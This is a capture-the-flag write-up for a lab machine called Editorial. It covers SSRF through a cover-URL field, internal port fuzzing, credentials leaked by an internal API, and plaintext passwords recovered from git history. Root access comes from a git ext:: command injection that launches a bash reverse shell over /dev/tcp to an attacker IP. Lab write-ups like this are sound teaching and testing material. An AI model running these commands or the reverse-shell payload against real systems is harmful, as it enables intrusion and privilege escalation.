Enumeration

1
export target=10.129.50.62

Port Scanning

1
rustscan -a $target --ulimit 10000 -g
1
nmap -Pn -sC -sV -n -p22,80 -T5 $target -oN nmap_editorial

Add it to the /etc/hosts

1
echo '10.129.50.62    editorial.htb' | sudo tee -a /etc/hosts

Web Application (80)

There is a book upload page

I’ve tried to upload a php file

VHost fuzzing, no luck

There is a cover URL we can provide, try SSRF:

1
python3 -m http.server 8000

Type my http server address then click Preview

Servers sends a request to my server

Try to enumerate the internal ports

On Burp Suite, save the POST /upload-cover request to a file (Right click on request -> Save selected text to file) as req.txt

Then, using ffuf, fuzz the ports:

1
ffuf -request req.txt -request-proto http -w /usr/share/wordlists/seclists/Discovery/Infrastructure/Ports-1-To-65535.txt --ac

We got a hit, 5000. Let’s enumerate that port.

Using the web application, send a request to http://127.0.0.1:5000

Formatting the json:

There are several versions of this API

Sending request to endpoint /api/latest/metadata/messages/authors gives us credentials

So there is a internal forum, let’s find it

Maybe we can get it with /api/latest/metadata/messages/how_to_use_platform

We get 404, try other versions (v1, v1.1, v1.2, v2)


None of those worked or gave me a hint. But we have a credential, so we can try to log in with SSH

1
ssh dev@10.129.50.62

And we got the user.txt… Sometimes you need to try the simplest one.

Privilege Escalation

We got a directory apps, it is a git repository but it’s empty:

Restore the files:

1
git restore .

Then search for a password:

1
git grep -i "password" $(git rev-list --all)

We found a new password for the prod user.

1
080217_Producti0n_2023!@

Switch to prod user:

1
su prod

We can run a python script as root:

It’s a python script that clones a git repo from a URL:

We don’t have write access to it:

1
2
prod@editorial:~$ ls -l /opt/internal_apps/clone_changes/clone_prod_change.py
-rwxr-x--- 1 root prod 256 Jun  4  2024 /opt/internal_apps/clone_changes/clone_prod_change.py

The part multi_options=["-c protocol.ext.allow=always"] is interesting, maybe we can use it to escalate our privileges.

There is a public PoC

Trying this, I can execute commands

We can get a reverse shell

1
echo "bash -i >& /dev/tcp/10.10.14.57/9001 0>&1" > /tmp/shell.sh
1
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell.sh'

Catch it

1
nc -nlvp 9001

Key Takeaways

  • URL input fields carry SSRF potential; scan internal ports via 127.0.0.1 to discover hidden APIs and services.
  • When you find a git repository, use git log and git grep to search commit history for credentials; even deleted files may contain password remnants.
  • If a git clone command runs with protocol.ext.allow=always, you can achieve RCE using the ext::sh -c <command> format.